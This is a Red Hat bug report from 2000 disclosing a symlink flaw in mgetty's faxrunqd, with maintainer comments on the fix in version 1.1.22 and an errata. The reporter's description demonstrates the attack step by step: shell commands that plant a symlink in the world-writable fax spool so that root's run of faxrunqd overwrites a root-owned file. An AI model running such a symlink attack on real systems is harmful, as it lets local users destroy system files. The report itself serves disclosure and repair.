Bug 11874

Summary:	Mgetty packages default config is a security threat
Product:	[Retired] Red Hat Linux	Reporter:	SB <satan>
Component:	mgetty	Assignee:	Nalin Dahyabhai <nalin>
Status:	CLOSED CURRENTRELEASE	QA Contact:
Severity:	medium	Docs Contact:
Priority:	high
Version:	6.2	CC:	yiango
Target Milestone:	---	Keywords:	Security
Target Release:	---
Hardware:	All
OS:	Linux
Whiteboard:
Fixed In Version:		Doc Type:	Bug Fix
Doc Text:		Story Points:	---
Clone Of:		Environment:
Last Closed:	2002-12-14 23:50:37 UTC	Type:	---
Regression:	---	Mount Type:	---
Documentation:	---	CRM:
Verified Versions:		Category:	---
oVirt Team:	---	RHEL 7.3 requirements from Atomic Host:
Cloudforms Team:	---	Target Upstream Version:
Embargoed:

Description SB 2000-06-02 22:50:41 UTC

When mgetty-sendfax package is installed it creates
the folling directories in /var/spool:
drwxr-xr-x  4 root  root   1024 Jun  1 00:47 /var/spool/fax
drwxr-xr-x  2 root  root   1024 Jun  1 00:47 /var/spool/fax/incoming
drwxrwxrwt  3 root  root   1024 Jun  1 00:47 /var/spool/fax/outgoing
drwxrwxrwx  2 root  root   1024 Jun  1 00:47 /var/spool/fax/outgoing/locks

By default when faxrunqd is run it creates a file named .last_run
in /var/spool/fax/outgoing:
[root@king may26]# ls -al /var/spool/fax/outgoing
total 4
drwxrwxrwt    3 root     root         1024 Jun  2 18:39 .
drwxr-xr-x    4 root     root         1024 Jun  2 18:39 ..
-rw-r--r--    1 root     root           44 Jun  2 18:39 .last_run
drwxrwxrwx    2 root     root         1024 Jun  1 00:47 locks

The problem is that /var/spool/fax/outgoing is mode 1777 by
default and faxrunqd does no checking to see if the file exists
or if it is a symlink, so if a user made a symlink before faxrunqd
is used, a user can obliterate the contents of any file on any
mounted filesystem that is writable.  Example:
user@king /tmp]$ id
uid=200(user) gid=100(users) groups=100(users)
[user@king /tmp]$ ls -al /var/spool/fax/outgoing
total 3
drwxrwxrwt    3 root     root         1024 Jun  2 18:46 .
drwxr-xr-x    4 root     root         1024 Jun  2 18:46 ..
drwxrwxrwx    2 root     root         1024 Jun  1 00:47 locks
[user@king /tmp]$ ls -al /etc/smash_me
-rw-r--r--    1 root     root           12 Jun  2 18:45 /etc/smash_me
[user@king /tmp]$ cat /etc/smash_me      
Smash me!!!
[user@king /tmp]$ ln -s /etc/smash_me /var/spool/fax/outgoing/.last_run
[user@king /tmp]$ ls -al /var/spool/fax/outgoing
total 3
drwxrwxrwt    3 root     root         1024 Jun  2 18:48 .
drwxr-xr-x    4 root     root         1024 Jun  2 18:46 ..
lrwxrwxrwx    1 user     users          13 Jun  2 18:48 .last_run -> 
/etc/smash_me
drwxrwxrwx    2 root     root         1024 Jun  1 00:47 locks

Meanwhile...
Root decides to run faxrunqd to quell boredom:

[root@king /tmp]# faxrunqd -l tts/1

[user@king /tmp]$ ls -al /var/spool/fax/outgoing
total 3
drwxrwxrwt    3 root     root         1024 Jun  2 18:48 .
drwxr-xr-x    4 root     root         1024 Jun  2 18:48 ..
lrwxrwxrwx    1 user     users          13 Jun  2 18:48 .last_run -> 
/etc/smash_me
drwxrwxrwx    2 root     root         1024 Jun  1 00:47 locks
[user@king /tmp]$ ls -al /etc/smash_me
-rw-r--r--    1 root     root           44 Jun  2 18:48 /etc/smash_me
[user@king /tmp]$ cat /etc/smash_me      
Fri Jun  2 18:48:47 2000 /usr/sbin/faxrunqd
[user@king /tmp]$ 

Permissions should probably be changed on outgoing dirs I guess,
other things like race conditions in /var/spool/fax/outgoing/locks
could exist or something.

-Stan Bubrouski

Comment 1 Gert Doering 2000-08-06 14:46:48 UTC

Issue is not easily solved - making /var/spool/fax/outgoing non-mode-777
will break faxspool.

To fix the most gaping hole (the root-smash-file one via .last_run), 1.1.22
will put the file into /var/run/ which is 755.

Most likely 1.1.23 will have to rework the whole fax queueing system,
adding network client/server in the process.

Comment 2 p.jenner 2000-08-30 07:56:57 UTC

This has been reported on bugtraq as bugtraq id 1612.  It appears from the
bugtraq listing that there is a maintainer fix for this in mgetty 1.1.22.

Hope this helps,

Paul

Comment 3 Nalin Dahyabhai 2000-09-07 19:50:11 UTC

An errata is being prepped.

Comment 4 Alan Cox 2002-12-14 23:50:37 UTC

Someone forgot to close the bug 8)